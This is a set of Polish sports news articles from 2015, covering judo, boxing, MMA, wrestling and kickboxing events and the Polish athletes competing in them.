W kadrze znajdzie się po osiem pań i panów. Powoli walizkę do Astany mogą pakować: Ewa Konieczny (48kg), Karolina Pieńkowska i Agata Perenc (52kg), Arleta Podolak (57kg), Agata Ozdoba (63kg), Katarzyna Kłys (70kg), Daria Pogorzelec (78kg), Katarzyna Furmanek (+78kg), Paweł Zagrodnik i Aleksander Beta (66kg), Damian Szwarnowiecki (73kg), Łukasz Blach i Jakub Kubieniec (81kg), Patryk Ciechomski (90kg), Jakub Wójcik (100kg) oraz Maciej Sarnacki (+100kg).

Czy medal jest realny?

To pytanie kluczowe, które nie daje spokoju. Jeszcze rok temu można było spokojnie twierdzić, że polscy judocy się na fali wznoszącej. A teraz? Sytuacja zmieniła się. Forma naszych judoków jest jak sinusoida. Trudno założyć, kiedy będą mieli swój dzień. Początek roku był udany, ale potem przyszedł kryzys. Ostatnie starty dały jednak nadzieję, że w Astanie może być dobrze.

Mistrzostwa świata do niedawna odbijały nam się czkawką. Polacy ze światowego czempionatu od 2003 roku wracali ze spuszczonymi głowami. Robert Krawczyk był ostatnim, który sięgnął po medal mistrzostw świata aż do ubiegłego roku i występu Katarzyny Kłys w Czelabińsku. Nasza zawodniczka w kategorii 70kg sięgnęła po brązowy medal. Radości nie było końca, a cały sezon był niezwykle udany w wykonaniu Kłys.

Tak jak i innych naszych judoków. Pogorzelec, Ozdoba, Beta czy Sarnacki notowali dobre występy. Początek roku 2015 był dobry w wykonaniu Katarzyny Furmanek i Agaty Perenc. Maciej Sarnacki triumfował w Pucharze Świata na warszawskim Torwarze. Wszystko układało się dobrze do czasu. Jedną z głównych imprez sezonu były pierwsze w historii Igrzyska Europejskie w Baku, które dla judoków pełniły zarazem rolę mistrzostw Europy. Brak medalu mówi sam za siebie.

Zrehabilitować się za Baku

Nie ulega wątpliwości, że sezon trzeba ratować. W Baku żadnemu polskiemu judoce nie udało się stanąć na podium. Do Igrzysk Olimpijskich w Rio de Janeiro pozostał rok, więc czas budować formę. W Baku najwyższe miejsce spośród Polaków zajęła Katarzyna Kłys, która była piąta w swojej kategorii wagowej. Na dziewiątych lokatach uplasowały się Ewa Konieczny i Agata Perenc.

Jednak ostatnie występy dają nadzieję, że w Kazachstanie nasi mogą wypaść lepiej niż w Baku. Podczas zawodów Grand Slam w Tiumeniu po brązowy medal sięgnął Maciej Sarnacki. Polak dołożył do swojego konta kolejne punkty w rankingu kwalifikacji olimpijskich. Puchar Europy w Sindelfingen również był szczęśliwy dla Polaków. Złoty medal zawisł na szyi Karoliny Pieńkowskiej. Z kolei po brąz sięgnął Damian Szwarnowiecki. Tuż za podium uplasował się Aleksander Beta. Czy to dobry znak? Rok temu z mistrzostw świata Polska przywiozła jeden medal. Taki sam dorobek będzie dobrym wynikiem, większą zdobycz kwalifikować trzeba będzie jako sukces.

KM

ESPN Premier Boxing Champions: Garcia vs Malignaggi i Jacobs vs Mora

Na żywo: ESPN Premier Boxing Champions: Garcia vs Malignaggi i Jacobs vs Mora!
 

Zapraszamy na kolejną wypełnioną gwiazdami galę z cyklu ESPN Premier Boxing Champions. Niepokonany mistrz kategorii lekkopółśredniej Danny Garcia (30-0, 17 KO) w nowojorskiej Barclays Center podejmie ex mistrza dwóch kategorii wagowych, Pauliego Malignaggiego (30-6, 7 KO).
Chociaż formalnie gospodarzem pojedynku będzie wychowany pośród brooklyńskich ulic “Magic Man”, to urodzony w Portoryko Garcia może śmiało uznać Brooklyn za swój sportowy drugi dom. Walka z Malignaggim będzie jego piątym występem w Barclays Center, ostatnio pokazał się tu 11 kwietnia wygrywając z Lamontem Petersonem. Kontr-boks w wykonaniu Garcii jest jak whisky dla koneserów i widowiskowy mecz piłkarski, bo mimo, że skutecznie i świetnie technicznie, Danny walczy także efektownie. Trenowany przez ojca 27-latek powoli przestaje mieścić się w limicie 140 funtów i dlatego jego starcie z Pauliem Malignaggim odbędzie się w limicie kategorii półśredniej – 147 funtów – bez pasów mistrzowskich na szali.
Paulie Malignaggi w przeciągu trwającej 14 lat kariery mierzył się z prawdziwą plejadą gwiazd kategorii lekkopółśredniej i półśredniej – od Miguela Cotto przez Ricky’ego Hattona i Juana Diaza po Amira Khana. Zwycięstwa nad Lovemorem N’dou w 2007 roku i Wiaczesławem Senczenko w 2012 zagwarantowały mu prestiżowe tytuły IBF w kategorii lekkopółśredniej i WBA w kategorii półśredniej. Na przestrzeni lat bardzo szybki lecz lekko bijący (zaledwie 7 nokautów w 33 pojedynkach) “Magic Man” wyrobił sobie renomę twardego, charyzmatycznego boksera, który potrafi także rozkręcić dobre show. Umiejętności poza ringowe “Magika” doceniła stacja telewizyjna Showtime zatrudniając go na stanowisku komentatora. Ostatnio Malignaggi prezentował się na ringu ze zmiennym szczęściem. W kwietniu zeszłego roku przegrał przed czasem z Shawnem Porterem, wcześniej jednak wygrał “bitwę o Brooklyn” z Zabem Judah. Faworytem pojedynku jest naturalnie Garcia, jednak “Magik” nigdy w karierze nie przegrał dwóch pojedynków z rzędu, a w kategorii półśredniej ma zdecydowanie większe doświadczenie niż Portorykańczyk.
W innym bardzo interesującym starciu na ring powróci mistrz świata WBA w kategorii średniej Daniel Jacobs (29-1, 26 KO). Doświadczony walką z rakiem “Cudotwórca” wystąpi już po raz czwarty po pokonaniu choroby, jednak najprawdopodobniej będzie to jego najtrudniejszy testy od tamtego czasu. Przeciwnikiem 28-letniego Amerykanina będzie były mistrz w niższej wadze i pogromca naszego Grzegorza Proksy – “Latynoski Wąż” Sergio Mora (28-3, 9 KO).
Na transmisję bokserskiego wieczoru w Barclays Center zapraszamy w nocy z soboty na niedzielę 1 sierpnia od 03:00, powtórka w niedzielę o 11:30, wyłącznie w FightKlubie!

Źródło: materiały prasowe

Premiera Broadway Boxing!

Kawał historii, nowojorski klimat i duża dawka dobrych walk – to znajdą widzowie w debiutującym 29 lipca w FightKlubie cyklu “Dibella Broadway Boxing”. Lou Dibella to człowiek orkiestra, który poznał pięściarstwo z rozmaitych perspektyw i dlatego świetnie wie jak zorganizować show satysfakcjonujące nawet najbardziej wybrednych fanów. Absolwent uniwersytetu Harvarda, były szef boksu w telewizyjnym gigancie HBO, stworzył między innymi kultowy dziś cykl “Boxing After Dark” (grany także w FightKlubie), a dzisiaj realizuje swoją bokserską pasję poprzez “Broadway Boxing”.
Podczas pierwszej emisji stacja FightKlub pokaże galę w słynnej B.B. King Blues Club and Grill na Manhattanie. W walce wieczoru popularny prospekt kategorii junior lekkiej Bryant “Peewee” Cruz (14-0, 7 KO) położy swój niepokonany rekord na szali pojedynku z mocno bijącym Martinem Cordoną (19-5, 14 KO). Ponadto w ośmiorundowych walkach zaprezentują się: były najlepszy amerykański amator Patrick Day (10-1-1, 6 KO), który podejmie Lenwooda Doziera oraz niepokonany Shawn Cameron (9-0, 4 KO), który stanie naprzeciw Francisco Rezy.

Premiera w środę 29 lipca o godzinie 22:00!

Źródło: materiały prasowe

Tybura odwiedzi Pekin

Polski zawodnik wagi ciężkiej we wrześniu stoczy kolejny pojedynek na zasadach MMA dla organizacji M-1 Challenge. Rywalem Marcina Tybury będzie Ante Delija.

29-latek z Uniejowa w swoim najbliższym występie będzie chciał się zrehabilitować za ostatnią porażkę, która zarazem była jego pierwszą w zawodowej karierze. Podczas gali M-1 Challenge 57 popularny „Tybur” przegrał z Stephanem Puetzem.

Obronić pas

M-1 to rosyjska organizacja mieszanych sztuk walki, która powstała w 1998 roku. Ustawicznie zwiększała swoją popularność i zyskała odpowiednią renomę. Początkowo gale odbywały się w Rosji, potem zawitały również do Holandii. Z czasem ekspansja M-1 rozszerzała się. W rosyjskiej organizacji swoją obecność zaznaczyli polscy zawodnicy. Mistrzami M-1 byli Rafał Moks i Damian Grabowski, na jej galach walczyli również Tomasz Narkun, Marcin Zontek i Łukasz Jurkowski. Obecnie mistrzem wagi ciężkiej jest Marcin Tybura.

„Tybur” tytuł wywalczył rok temu w pojedynku z Damianem Grabowskim. Pojedynek trwał zaledwie osiemdziesiąt osiem sekund. Tybura szybko wypunktował Grabowskiego i został nowym mistrzem M-1. Do tej pory polski zawodnik tylko raz bronił pasa. Podczas gali M-1 Challenge 53 zmierzył się z Denisem Smoldarevem i nie dał rywalowi zbyt wiele czasu na zaprezentowanie umiejętności. Tybura już w pierwszej rundzie zmusił swojego rywala do odklepania. Bezradny Smoldarev pozostając w ucisku musiał poddać się.

Tybura pozostawał niepokonany do maja 2015 roku, kiedy przyszło mu się spotkać ze Stephanem Puetzem. Panowie zmierzyli się w pojedynku okrzykniętym mianem „superwalki”. Nie ma się, co dziwić, że owo starcie miało taki właśnie tytuł. Tybura to mistrz wagi ciężkiej, z kolei Puetz dominuje w półciężkiej. Nieoczekiwanie Polak musiał uznać wyższość rywala. Puetz zawiesił wysoko poprzeczkę, był ruchliwy, aktywny i znalazł sposób na mistrza wagi ciężkiej. W trzeciej rundzie Tybura został znokautowany, jednak nie stracił tytuł czempiona.

We wrześniu polski fighter stanie do obrony pasa mistrzowskiego po raz drugi. 5 września podczas gali w Pekinie jego przeciwnikiem będzie Ante Delija. Dla Polaka będzie to czternasta walka w zawodowej karierze.

Niebezpieczny Chorwat

Zawodnik z Bałkanów jest silny. Ostatnią porażkę poniósł w lutym 2014 roku, jego pogromcą okazał się Denis Smoldarev. Później Estończyk walczył z Tyburą, który go pokonał. Czy to dobry znak dla polskiego zawodnika?

Ante Delija wygrał pięć ostatnich pojedynków, ale tylko jeden z nich stoczył dla organizacji M-1. Fighter z Dubrovnika imponuje skutecznością. Tylko dwie jego zwycięskie walki zakończyły się werdyktami sędziowskimi. W większości wygranych pojedynków zmuszał swoich rywali do poddania. Delija w tym roku stoczył dwa pojedynki – na gali M-1 Challenge 56 wygrał decyzją sędziów z Konstantinem Gluhovem oraz na OR 13 znokautował Tibora Sosa.

KM

Czy Mayweather powie dość?

Floyd Mayweather Jr jest wybitną postacią świata boksu. Przy okazji tworzy fenomenalne widowiska, jest marką samą w sobie i skutecznym biznesmenem. Czy jego czas na ringu dobiega końca?

Mayweather daje do zrozumienia, że niebawem stoczy ostatnią walkę. Wielu w to niedowierza. A sam Mayweather jakby stroni od jednoznacznych deklaracji.

Poskromił Pacquiao

Wszyscy fani boksu, a przy okazji cały świat czekał na pojedynek XXI wieku. Negocjacje trwały latami, jednak na „starość” udało się dopiąć wszystkie formalności i doprowadzić do walki. W maju w Las Vegas doszło do długo wyczekiwanego pojedynku Floyda Mayweathera Jr i Manny Pacquiao.

„Money” udowodnił, że jest najlepszym pięściarzem na świecie. Pacquiao musiał przełknąć gorycz porażki, ale po walce szukał usprawiedliwień i mówił o kontuzji barku. Mayweather w ringu zrobił swoje. Był skuteczny, dokładny, precyzyjny i przyjął odpowiednią taktykę. Fenomen Mayweathera polega na jego umiejętności maksymalnej koncentracji, zachowania spokoju oraz odpowiedniej postawy w defensywie. Amerykanin potrafi zneutralizować atuty swoich rywali. Przed pojedynkiem z Pacquiao zakładano, że Filipińczyk może zaskoczyć „Moneya” szybkością, jednak nic takiego nie miało miejsca. Po dwunastu rundach sędziowie jednoznacznie wskazali na zwycięstwo Mayweathera.

Czy był to przedostatni pojedynek Amerykanina na zawodowym ringu? Mayweather pojawi się po raz kolejny na arenie walki 12 września w MGM Grand w Las Vegas. Trwają domysły, czy będzie to jego ostatni pojedynek w karierze. Maywewather jest coraz bliżej decyzji o powiedzeniu sobie: dość. Po raz kolejny wyraźnie widać mistrzostwo „Moneya”. Amerykanin jest wycofany, ale show nadal trwa. Wszyscy snują domysły, co dalej z karierą Mayweathera, a tylko on zna decyzję.

Wiadomo, że wiek robi swoje. Na brak gotówki Maywaether narzekać nie może, a w poprzednim roku mówiło się, iż będzie chciał stworzyć własną grupę bokserską. Z pewnością cieszyłaby się ona ogromną popularnością oraz zainteresowaniem.

Telewizja bez planów

Przydomek „Money” nie wziął się znikąd. Mayweather przyciąga widzów, sponsorów i stacje telewizyjne, co rodzi ogromne zyski. Wedle Stephena Espinozy, wiceprezesa telewizji Showtime Sports , we wrześniu Amerykanin stoczy ostatni pojedynek. – Informacje, które ostatnio pojawiły się w mediach nie mają nic wspólnego z prawdą. Ani Showtime, ani CBS nie prowadzą rozmów z Floydem Mayweatherem w sprawie rozszerzenia jego obecnego kontraktu o kolejne walki. Nie planujemy takich działań. Floyd powiedział nam, że najbliższa walka będzie jego ostatnią i trzymamy go za słowo. Pięściarz potwierdził to również po swojej ostatniej walce, którą stoczył w maju.  Mamy z nim dobre relacje. Jesteśmy zadowoleni z naszej wspólnej umowy. Zrobiliśmy pięć walk, na które został sprzedanych 10 mln pakietów PPV – powiedział Espinoza.

Na obecną chwilę wszystkie znaki wskazują na to, że Mayweather we wrześniu stoczy ostatnią walkę. Jednak twarz boksu potrafi zaskakiwać. Czy wieczorem 12 września powie „dość”?

KM

Krawczyk wygrała w Warszawie

Triumf na własnej ziemi smakuje wyjątkowo. Coś o tym powiedzieć może Katarzyna Krawczyk. Nasza zapaśniczka wygrała turniej Poland Open w Warszawie.

Podczas dwudniowej rywalizacji dobrą dyspozycję potwierdziło kilka naszych zawodniczek. Z pewnością jest to dobry prognostyk przed zbliżającymi się mistrzostwami świata w Las Vegas.

Złoto i brązowy blask

W kategorii 53kg na medal spisały się dwie Polki. Nasze zapaśniczki rozdzieliła tylko reprezentantka Rosji Lubow Silnikowa. Katarzyna Krawczyk potwierdziła, że w tym roku jest w dobrej dyspozycji. Polka rozpoczęła rywalizację w Warszawie zdecydowanie, czym podkreśliła swoje możliwości. Krawczyk pokonała 10:0 Hiszpankę Marnę Ruude. W 1/8 finału rywalką Polki była Irina Olgonova. Pojedynek zacięty i wyrównany, jednak Krawczyk wykonała dobrą pracę, okazała się skuteczniejsza i wygrała 5:3. Denes Mercedesz nie potrafiła znaleźć sposobu na naszą zawodniczkę, która pokonując Węgierkę uzyskała awans do półfinału. W rywalizacji o finał spotkały się dwie Polki. Katarzyna Krawczyk i Roksana Zasina zmierzyły się w Warszawie, ale walka toczyła się o coś więcej. Obie rywalizują o udział w mistrzostwach świata w Las Vegas. Po tym pojedynku plusik pojawił się przy nazwisku Krawczyk. W finale reprezentantka Polski spotkała się z Lubow Silnikową. Pojedynek pełny był zwrotów akcji, emocji i trzymał w napięciu do samego końca. Krawczyk po pierwszej rundzie przegrywała 2:6, ale w drugiej części uwijała się w pocie czoła, aby odrobić straty. Ta sztuka udała się. Krawczyk wygrała i zdobyła złoty medal. Z kolei Roksana Zasina zajęła trzecie miejsce.

W drugim dniu turnieju rywalizacja toczyła się w czterech kategoriach i tylko w jednej Polska nie wywalczyła miejsca na podium. Reprezentantka Mongolii Szowdoor triumfowała w 58kg. W kategorii 63kg o zwycięstwo walczyło piętnaście zawodniczek. Po brązowy medal sięgnęła Monika Michalik, tak jak i Daria Osocka w 75kg.

Podczas Poland Open biało-czerwone sięgnęły po sześć medali. W pierwszym dniu srebro wywalczyła Agnieszka Wieszczek – Kordus, a brąz zdobyła Iwona Matkowska.

Medal klasyka

W Warszawie toczył się również Memoriał Władysława Pytalsińskiego w stylu klasycznym. Pierwszego dnia reprezentantom Polski nie udało się wywalczyć medalu. Na starcie drugiego dnia rywalizacji stanęło ponad stu zapaśników w czterech kategoriach wagowych.

Polska zakończyła memoriał z jednym medalem na koncie. W kategorii 66kg na trzecim miejscu podium stanął Mateusz Bernatek z AKS Piotrków Trybunalski. Blisko medalu Łukasz Banak ze Śląska Wrocław, który w kategorii 130kg był piąty. Triumfował reprezentant Niemiec Frank Stabler. Rywalizacja w Warszawie została zdominowana przez zapaśników z Rosji i Niemiec. Reprezentanci Sbronej zdobyli dwa złote, jeden srebrny i dwa brązowe medale. Niemcy w swoim dorobku zapisali złoto, dwa srebra i brąz.

KM

Ochirbat zabrała złoto Polce

Agnieszka Wieszczek – Kordus była o krok od wywalczenia złotego medalu w zapasach kobiet w turnieju Poland Open. Na drodze naszej zawodniczki stanęła reprezentantka Mongolii.

32-letnia zapaśniczka Grunwaldu Poznań walczyła w kategorii 69kg. Wieszczek – Kordus jest doświadczoną i utytułowaną zawodniczką, jednak nigdy nie udało jej się wywalczyć pierwszego miejsca na najważniejszych imprezach. Na mistrzostwach Europy aż cztery razy sięgała po brązowy medal. Wieszczek – Kordus ma nadzieję, że za rok na Igrzyskach Olimpijskich uda jej się stanąć na podium i powtórzyć sukces z Pekinu, gdzie wywalczyła trzecie miejsce. Teraz przed naszą zapaśniczką mistrzostwa świata w Las Vegas. W Warszawie Polka pokazała, że jest w dobrej dyspozycji.

Kobiety na medal

Nasaburmaa Ochirbat w finale kategorii 69kg okazała się lepsza od naszej zawodniczki. Gdyby początek walki  wyglądał inaczej, ale to tylko gdybanie. Wieszczek – Kordus źle rozpoczęła rywalizację z reprezentantką Mongolii i przegrała pierwszą rundę 0:4. Polka w drugiej części zaskoczyła swoją rywalkę agresją i zdecydowaniem, jednak Ochirbat nie pozostała bierna. Polka wygrała 6:2, ale zwycięstwo przypadło Mongołce. W rywalizacji osiemnastu zawodniczek Wieszczek zajęła drugie miejsce.

Kolejny dobry start w tym roku zaliczyła Iwona Matkowska. Polka startująca w kategorii 48kg w Poland Open uplasowała się na trzecim miejscu. Triumfowała Maria Stadnik z Azerbejdżanu. O krok od podium była Anna Łukasiak, której przypadła piąta lokata. W kategorii 55kg rywalizowało piętnaście zapaśniczek, więc dobre wejście w zawody pozwalało myśleć o sukcesie. Na trzecim miejscu uplasowała się Paula Kozłow. Agnieszka Król w kategorii 60kg zajęła dziesiąte miejsce, a na starcie pojawiło się dwanaście zawodniczek.

Zatem trzy medale to wynik przyzwoity. Po raz kolejny dobrą dyspozycję potwierdziła Matkowska. Przypomina o sobie Agnieszka Wieszczek – Kordus, dlatego też należy mieć nadzieję, że w Las Vegas będzie ciekawie.

Tracz najwyżej

Warszawa jest również areną zmagań zapaśników w stylu klasycznym w Memoriale Władysława Pytlasińskiego. W sobotę nie doczekaliśmy się medalu naszych zapaśników, być może w niedzielę na podium stanie Damian Janikowski.

Najlepszy wynik osiągnął Michał Tracz. Kadrowicz Ryszarda Wolnego w wadze 59kg  uplasował się na ósmej pozycji i było to jedyne miejsce w pierwszej „10” reprezentanta Polski. Na starcie stanęło aż trzydziestu sześciu zawodników, triumfował Rosjanin Mengijan Siemionow.

W rywalizacji panów kategorie wagowe były obsadzone dość licznie. Z dobrej strony pokazali się zapaśnicy z Węgier. W kategorii 71kg triumfował Tamas Lorincz, a na najniższym stopniu podium uplasował się Balint Korpasi. Zawodników z Budapesztu przedzielił tylko Niemiec Matthias Maasch. Kolejny Węgier Peter Bacsi okazał się najlepszy w 80kg, który w finale pokonał Wikatara Sasnouskiego z Białorusi.

KM

Kickboxing emigruje do Londynu

Polska jesień kojarzy się ze swego rodzaju pięknem. Mówi się złota polska jesień. Z kolei w Anglii utarło się sformułowanie „angielska pogoda”, które służy do opisu trudnych warunków atmosferycznych. Czy te dwie rzeczywistości da się połączyć? Owszem, nawet na gruncie kickboxingu.

20 września fighterzy z Anglii i Polski postarają się stworzyć widowisko najwyższych lotów. Pięknym wspomnienie dla nieco starszych kibiców piłki nożnej jest pamiętny mecz biało-czerwonych z Synami Albionu z 1973 roku, w którym padł remis 1:1. We wrześniu kolejna odsłona rywalizacji Anglii i Polski, tym razem areną walki będzie ring, a głównymi aktorami kickbokserzy oraz wojownicy MMA.

Zapowiadają wielkie emocje

Czy tak będzie? Trzeba poczekać. Organizatorzy stopniowo ujawniają kolejne elementy planowanego widowiska. W Londynie zostało podpisane porozumienie między organizatorem gali DUET Fight Night reprezentowanym przez Tomasza Biernackiego, a Keithem Allenem. Obaj panowie są obyci w świecie kickboxingu. Allen doświadczony promotor, który przez dwadzieścia lat swojej działalności wyrobił sobie markę. To połączenie ma gwarantować niezapomniane wrażenia i widowisko pełne walki, w którym ujawni się kickboxing w najlepszej formie.

Zapowiedzi są huczne, a szczegóły stopniowo wychodzą na jaw. Karta walk nie jest jeszcze znana, a wiadomo, że to nazwiska mają najbardziej przyciągać widzów. Już sam pomysł rywalizacji angielsko-polskiej brzmi ciekawie. Na naszym rynku z inicjatywą rozgrywania spotkań międzypaństwowych wyszła grupa DSF, która zorganizowała już mecze Polski z Macedonią oraz Polski z Łotwą, a w planach ma już kolejne. Biernacki chce spróbować czegoś nowego. Na obiekcie Indiog O2 Arena w Londynie 20 września o godzinie 18.00 rozpocznie się hucznie zapowiadane widowisko. Magnesem przyciągającym widzów oraz wzbudzającym zainteresowanie mają być również walki w formule MMA.

O co toczy się gra?

Wiadomo, że głównymi aktorami są fighterzy, a czynnikiem decydującym o jakości widowiska ich umiejętności. W Londynie pojawi się kolejny element działający na wyobraźnię. Posiadacz pasa jest kimś, kto może poszczycić się mianem mistrza i ma prawo twierdzić, że zdobył górę. Gdzie jest szczyt? Na to pytanie każdy musi odpowiedzieć indywidualnie. Bo sukces w każdej organizacji należy rozpatrywać jako zdobycie góry.

Podczas angielsko-polskiego wieczoru w Londynie aż w czterech walkach stawką pojedynku będą pasy mistrzowskie. Do tej pory poznaliśmy dwa z nich. Podczas wrześniowej gali fighterzy zmierzą się o tytuł Międzynarodowego Zawodowego Mistrza Polski w formule K1 RULES oficjalnie sygnowany przez Polski Związek KickBoxingu oraz pas Mistrza Gali DUET FIGHT NIGHT w formule MMA.

Teraz trzeba tylko i wyłącznie czekać na aktorów widowiska. Do tej pory organizator przedstawił jedną parę. Zmierzą się w nim Cerkez Sevket oraz Jerzy Wroński. Trenujący w warszawskiej Palestrze zawodnik jest wicemistrzem Polski w K-1. W 2011 roku zdobył Puchar Świata, był wicemistrzem Europy oraz wicemistrzem świata. W Londynie Wroński stoczy piątą zawodową walkę.

KM

Pierwsze ciosy już padły

Waga ciężka przyciąga niczym magnes. Zwłaszcza w przypadku walki na szczycie, w której bierze udział Władimir Kliczko. Ukrainiec w październiku zmierzy się Tysonem Fury’m. Pięściarze wyprowadzili już pierwsze ciosy – słowne.

24 października na stadionie w Dusseldorfie Fury postara się znokautować czempiona WBA, WBO, IBF, IBO. Kliczko starzeje się, ale nikt nie potrafi zakończyć jego dominacji. Wielu próbowało, ale jak do tej pory odchodzili z kwitkiem.

Angielska terapia

Władimir Kliczko ma bogate doświadczenie i potrafi dokonywać analiz, z których wyciąga słuszne wnioski. Nie ulega wątpliwości, że zachowanie Tysona Fury’ego jest niezwykle podobne do Davida Haye’a. Z Hayemakerem ukraiński mistrz zmierzył się w 2011 roku. Przed pojedynkiem toczyła się długa wojna słowna, w której Brytyjczyk zapewniał, że upora się z Kliczko i będzie królem wagi ciężkiej. Rzeczywistość okazała się brutalna dla Haye.

Fury to bardzo podobny typ. Narcyz, pewny siebie aż do przesady, nieco bujający w chmurach, ale zwraca na siebie uwagę i nakręca widowisko, co ma swoją wartość w tworzeniu show i zainteresowania wydarzeniem. Fury to kawał chłopa. Ma odpowiednie warunki i silny cios, ale Kliczko niejedno już widział i tak naprawdę jest w stanie przygotować się do walki z każdym. – Nie będę mówił, że Tyson Fury będzie łatwym rywalem, tak samo jak nie mówiłem tak o żadnym z moich przeciwników. W trakcie pojedynku wiele może się zdarzyć. Fury to ambitny facet, ma 26 lat i dziś mówi rzeczy, których za jakiś czas będzie bardzo żałował. Widzę, że trzeba zastosować wobec niego terapię. David Haye był jednym z tych pięściarzy, któremu obiecałem, że po tym, jak go pokonam stanie się lepszym człowiekiem i tak właśnie się stało – powiedział Ukrainiec.

Z kolei Fury w słowach nie przebiera. Brytyjczyk bierze pod uwagę scenariusz, w którym do pojedynku może nie dojść. Z racji obaw czempiona z Ukrainy. – Jeśli dojdzie do tej walki. Mówię jeśli, dlatego, że ci idioci doznają automatycznej kontuzji, gdy stanąć ze mną w ringu. Czy tak nie jest? Gdy obóz treningowy nie idzie po ich myśli, to rezygnują z walki. Nie bądźcie zaskoczeni jeśli okaże się, że pojawi się opcja przełożenia pojedynku – tłumaczy Brytyjczyk.

Kolejny w kolejce

Kliczko wyjdzie na ring dopiero w październiku, a już pojawił się kolejny chętny do walki z nim. Wcześniej mówiło się o Deontayu Wilderze. Teraz swoje chęci do rywalizacji z czempionem wagi ciężkiej ujawnił Antonio Tarver. „Magic Man” chce być na szczycie i stworzył plan, który pomoże mu zrealizować ten cel. – Chcę znaleźć się w elicie wielkich mistrzów. Powinienem być mistrzem świata wagi ciężkiej. Zostanę nim, ale nie wiem jeszcze jak. Wierzę w przeznaczenie. Cunningham nie da mi rady, tak samo jak nie zrobi tego Deontay Wilder. Znokautuję go i będę mógł walczyć z  facetem, z którym naprawdę chciałbym spotkać się w ringu. Chodzi o Władimira Kliczko. Gdy go pokonam to stanę się częścią największej legendy w historii boksu – tak zarysował swój plan Tarver. Warto przypomnieć, że „Magic Man” ma już 46 lat.

KM

Potrenują w Zakopane

W październiku nasi reprezentanci w kickboxingu będą walczyć o medale mistrzostw świata WAKO w Belgradzie. Jednym z etapów przygotowań kadry K-1 i low kick będzie zgrupowanie w Zakopane.

Kickboxing w Polsce rozwija się i zyskuje na popularności. Coraz większym zainteresowaniem cieszą się w pełni profesjonalne gale, którym towarzyszy odpowiednia oprawa i promocja. Warto pamiętać, że nadal pozostajemy jedną z czołowych nacji w kickboxingu.

Do Zakopanego

W sierpniu do stolicy polskich Tatr udadzą się zawodnicy low kick i K-1. Z tym, że nie równocześnie. Obie kadry będą trenowały w Zakopane przez siedem dni. Jako pierwsi na zgrupowanie udadzą się zawodnicy low kick. Trenerzy Andrzej Garbaczewski i Witold Kostka będą współpracować z grupą dwunastu fighterów. Do Zakopanego udadzą się: Joanna Walkiewicz, Kamila Bałanda, Iwona Nieroda, Marta Waliczek, Jan Lodzik, Eliasz Jankowski, Mateusz Białecki, Maciej Garbaczewski, Łukasz Kaczmarczyk, Michał Ronkiewicz, Patryk Zaborowski i Patryk Proszek. Kadra uda się do Zakopanego 5 sierpnia i będzie tam przebywała do 12 sierpnia.

Polacy w low kicku z dobrej strony pokazali się w tegorocznym turnieju w Rimini. Bardzo prestiżowe zawody WAKO Bestfighter okazały się sukcesem w wykonaniu naszej kadry. W low kicku Polska zdobyła pięć złotych medali, które zawisły na szyjach: Iwony Nierody, Marty Waliczek, Mateusza Białeckiego, Łukasza Kaczmarczyka oraz Patryka Zaborowskiego. Start we Włoszech pokazał, że biało-czerwoni są niezwykle mocni w low kicku.

Z kolei reprezentacja Polski w kickboxingu K-1 w Zakopane będzie trenowała w dniach 13-20 sierpnia. K-1 to bardzo widowiskowa formuła. Zawodnicy mają pełne pole do popisu i mogą stosować różnorakie zagrania. Powołanie na wyjazd do Zakopanego otrzymało aż trzydziestu dwóch zawodników. W tym gronie znajdują się: Patrycja Kamińska, Ewa Boś, Małgorzata Dymus, Iwona Nieroda, Aleksandra Piasecka, Róża Gumienna, Paulina Bieć, Arkadiusz Osienienko, Sebastian Słoń, Michał Królik, Krzysztof Olszewski, Paweł Stępniewski, Patryk Sagan, Eliasz Jankowski, Jan Lodzik, Mateusz Dąbrowski, Jarosław Daschke, Michał Benben, Marcin Kret, Grzegorz Mardyła, Daniel Kolasiński, Bartosz Dołbień, Kamil Ruta, Arkadiusz Kaszuba, Dawid Kasperski, Patryk Zdrojewski, Mateusz Hiki, Mateusz Pluta, Adam Abook al. Hassani, Michał Turyński, Michał Bławdziewicz i Arkadiusz Klimiuk.

Pracowity sierpień czeka Iwonę Nierodę, Eliasz Jankowskiego oraz Jana Lodzika, którzy w Zakopane spędzą dwa tygodnie.

Październikowa impreza

Bez wątpienia najważniejszą imprezą tego roku są mistrzostwa świata WAKO w Belgradzie, które odbędą się w dniach 24 – 31 października. Polacy do Serbii jadą po medale – wydaje się to oczywiste. W tym roku w bardziej dobrej dyspozycji jest Iwona Nieroda oraz Marta Waliczek. Z dobrej strony będzie chciał się pokazać Kamil Ruta, który w 2013 w Turcji zdobył tytuł mistrza świata. Wiele można oczekiwać od Dawida Kasperskiego, który ma ogromny potencjał. Na dobry występ stać Arkadiusza Kaszubę, Daniela Kolasińskiego czy wracającego po kontuzji Michała Turyńskiego.

KM

Kontrakt efektem nokautu

Daniel Omielańczuk podczas gali UFC Fight Night 72 w Glasgow pokazał, że nie powiedział jeszcze ostatniego słowa. Polak zanotował drugie zwycięstwo podczas występów dla najlepszej organizacji mieszanych sztuk walki na świecie.

Wydawało się, że Omielańczuk znalazł się pod ścianą i jego dalszy los w UFC stanął pod dużym znakiem zapytania. Można powiedzieć, że w pojedynku z Chrisem de la Rochą uciekł spod topora.

Lepsze warunki

Podczas gali w Krakowie Omielańczuk miał wrócić na właściwe tory, jednak Anthony Hamilton nie dał się znokautować. Polak miał problemy w starciu z rywalem, który uznawany był za słabszego. 32-latek z Warszawy nie udźwignął ciężaru pojedynku i przegrał decyzją sędziów. Była to druga porażka w trzecim występie w UFC i tym samym sytuacja Omielańczuka stała się trudna. Kolejna walka miała być starciem o „być albo nie być” naszego fightera w organizacji Dana White’a.

Chris de la Rocha debiutował w UFC, ale Omielańczuk nie zamierzał w żaden pomagać Amerykaninowi w adaptacji w nowym środowisku. Polak zamierzał pokazać rywalowi, że najlepsza organizacja świata mieszanych sztuk walki to wysoki poziom i trzeba być gotowym na wszystko. Omielańczuk zmasakrował de la Rochę, który na długo zapamięta tę walkę. Czterdzieści osiem sekund wstrząsnęło Amerykaninem. Omielańczuk zaczął wysokim kopnięciem, a potem pod siatką ciosami wykończył de la Rochę. Drugie zwycięstwo Polaka w UFC stało się faktem i może on spać spokojnie.

Efektowny nokaut diametralnie zmienił sytuację Omielańczuka. Nie tylko może liczyć na kolejną walkę w UFC, ale i na lepsze warunki. Polak podpisał nowy, korzystniejszy kontrakt z organizacją.

Powrót

